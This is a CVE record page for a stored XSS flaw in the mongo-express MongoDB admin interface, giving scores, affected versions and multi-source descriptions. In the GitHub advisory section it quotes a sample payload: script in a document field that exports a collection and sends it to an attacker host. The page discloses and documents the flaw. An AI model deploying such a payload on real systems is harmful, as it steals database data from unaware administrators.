CVE-2021-21422
JSON

8.1high

XSS Vulnerability in mongo-express

Severity
8.1high CVSS:3.1 by GitHub_M
Exploit likelihood
1.57% (higher than 76% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-7p8h-86p5-wv3p

Description

mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\collection are possible.

Affected

Product or packageVersionsReported by
mongo-express mongo-express< v1.0.0-alpha.4CVE List
mongo-express (npm)before 1.0.0-alpha.4GitHub Advisory Database
mongo-express_project mongo-expressup to 0.54.0, 1.0.0NVD

All scores

GitHub_M8.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
GitHub8.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
NVD6.1medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
NVD4.3medium CVSS:2.0AV:N/AC:M/Au:N/C:N/I:P/A:N

Classification

What each source says

CVE List

mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\collection are possible.

GitHub Advisory Database

Two kinds of XSS were found:

  1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
  2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Patches

Upgrade to v1.0.0-alpha.4

For more information

If you have any questions or comments about this advisory:

NVD (es)

mongo-express es una interfaz de administración de MongoDB basada en la web, escrita con Node.js y express. 1: Como se menciona en este tema: https://github.com/mongo-express/mongo-express/issues/577, cuando el contenido de una celda crece más que el tamaño soportado, al hacer clic en una fila se mostrará el documento completo sin escapar, sin embargo esto necesita la interacción del administrador en la celda. 2: Las celdas de datos identificadas como medios de comunicación se renderizarán como medios de comunicación, sin ser saneados. Ejemplo de diferentes renderizados: imagen, audio, video, etc. Como ejemplo de ataque de tipo 1, un usuario no autorizado que sólo puede enviar una gran cantidad de datos en un campo de un documento puede utilizar una carga útil con javascript insertado. Esto podría enviar una exportación de una colección al atacante sin que ni siquiera un administrador lo sepa. Otros tipos de ataques, como la caída de base de datos\colección , son posibles

References

Sources

SourceRecordLicence
CVE ListCVE-2021-21422 changed 2024-08-03CVE Terms of Use
GitHub Advisory DatabaseGHSA-7p8h-86p5-wv3p changed 2026-07-08CC-BY-4.0
NVDCVE-2021-21422 changed 2026-06-17Public domain